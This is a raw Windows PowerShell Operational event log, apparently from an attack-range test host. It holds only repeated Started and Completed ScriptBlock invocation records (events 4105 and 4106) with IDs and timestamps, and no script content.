ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041646
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041644
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041643
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041642
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041641
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041640
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041639
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041638
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041637
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041636
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041635
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041634
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041633
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041632
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041631
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041630
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041629
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041628
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041626
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041624
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041622
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041621
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041620
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041619
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041618
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041617
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041616
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041615
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041614
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041613
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041612
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041611
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041610
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041609
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041608
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041607
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041606
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041605
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041604
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041603
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041602
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041601
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041600
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041599
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041598
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041596
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041595
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041594
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041593
Keywords=None
